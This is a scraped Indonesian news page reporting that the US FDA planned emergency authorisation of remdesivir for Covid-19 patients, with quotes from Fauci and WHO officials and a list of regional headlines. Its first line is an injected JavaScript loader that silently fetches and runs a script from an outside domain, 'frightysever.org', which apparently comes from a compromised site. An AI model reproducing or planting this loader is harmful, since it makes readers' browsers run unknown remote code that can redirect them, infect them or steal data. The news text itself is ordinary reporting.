(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

FDA Akan Resmikan Remdesivir Jadi Obat untuk Pasien Covid-19


KANALKALIMANTAN.COM, JAKARTA– Badan Pengawas Obat dan Makanan AS (FDA) belum menyetujui obat apa pun untuk pengobatan virus corona. Tetapi berencana untuk mengumumkan otorisasi penggunaan remdesivir dalam keadaan darurat.

Melansir dari CNN, FDA mengatakan sedang dalam pembicaraan dengan Gilead Sciences, pembuat remdesivir mengenai pembuatan obat yang bisa disediakan untuk pasien.

“Sebagai bagian dari komitmen FDA untuk mempercepat pengembangan dan ketersediaan pengobatan Covid-19 yang potensial, agensi telah terlibat dalam diskusi dengan Gilead Sciences membuat remdesivir tersedia untuk pasien secepat mungkin,” kata juru bicara FDA Michael Felberbaum.

Penelitian yang didanai pemerintah menemukan bahwa pasien yang diobati dengan remdesivir pulih lebih cepat. “Data menunjukkan bahwa remdesivir memiliki dampak positif yang jelas, signifikan, dalam mengurangi waktu pemulihan,” kata Dr. Anthony Fauci, Kepala Institut Nasional Alergi dan Penyakit Menular AS.

Hasil dari uji coba awal menunjukkan remdesivir meningkatkan waktu pemulihan untuk pasien virus corona dari 15 hari jadi 11 hari.

Cara kerja remdesivir mirip dengan efek obat influenza Tamiflu terhadap flu. Tamiflu juga tidak menyembuhkan pasien dengan cepat, tetapi dapat mengurangi masa penyebuhan. “Meskipun peningkatan (penyembuhan) 31 persen, itu (remdesivir) adalah bukti konsep yang sangat penting,” kata Fauci.

“Apa yang telah dibuktikan adalah bahwa obat dapat memblokir virus ini,” tambahnya.

Remdesivir sendiri mulanya dikembangkan untuk mengobati Ebola dan sejak itu ditemukan memiliki kualitas antivirus. Meskipun begitu Organisasi Kesehatan Dunia (WHO) mengingatkan, bahwa masih terlalu dini untuk mengomentari hasil uji coba remdesivir tersebut.

“Terkadang diperlukan sejumlah publikasi untuk menentukan apa dampak utama dari suatu obat,” kata Dr. Mike Ryan, direktur eksekutif program kedaruratan kesehatan WHO.(suara)

Editor : Suara

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.